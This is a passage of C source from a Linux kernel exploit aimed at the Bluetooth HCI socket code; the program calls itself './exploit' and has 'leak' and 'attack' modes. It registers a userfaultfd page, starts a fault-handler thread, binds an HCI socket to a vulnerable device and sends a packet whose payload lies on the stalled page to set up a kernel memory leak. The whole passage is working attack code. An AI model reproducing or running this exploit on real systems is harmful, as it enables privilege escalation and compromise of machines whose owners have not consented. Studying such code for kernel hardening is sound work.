    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
       errExit("{leak} ioctl-UFFDIO_REGISTER");

    /* Create a thread that will process the userfaultfd events */

    s = pthread_create(&thr, NULL, faultThread_leak, (void *) uffd);
    if (s != 0) {
       errno = s;
       errExit("{leak} faultThread_hci_sock_sendmsg pthread_create");
    }

    // 2. Begin exploit
    struct sockaddr_hci hci_addr = {0};
    hci_addr.hci_family = AF_BLUETOOTH;
    hci_addr.hci_dev = VULN_DEV_ID;
    if (bind(leakp.sock, (struct sockaddr *)&hci_addr, sizeof(hci_addr)) < 0) {
        errExit("{leak} socket bind");
    }

    struct iovec iov[3];

    struct hci_command_hdr hdr;
    hdr.opcode = HCI_OP_NOP;
    hdr.plen = 0x1;

    uint8 type = HCI_COMMAND_PKT;

    iov[0].iov_base = &type;
    iov[0].iov_len = sizeof(type);
    iov[1].iov_base = &hdr;
    iov[1].iov_len = sizeof(hdr);
    iov[2].iov_base = addr; // userfaultfd page
    iov[2].iov_len = hdr.plen;

    if (writev(leakp.sock, iov, sizeof(iov) / sizeof(struct iovec)) < 0) {
        perror("{leak} writev");
        exit(1);
    }
}

int main(int argc, char* argv[])
{
    if (argc < 2) errExit("Usage: ./exploit leak/attack");
    
    if (!strcmp(argv[1], "leak")) {
        leak();
    }
    else if (!strcmp(argv[1], "attack")) {
        exploit();
    }
    else errExit("no such options");
}
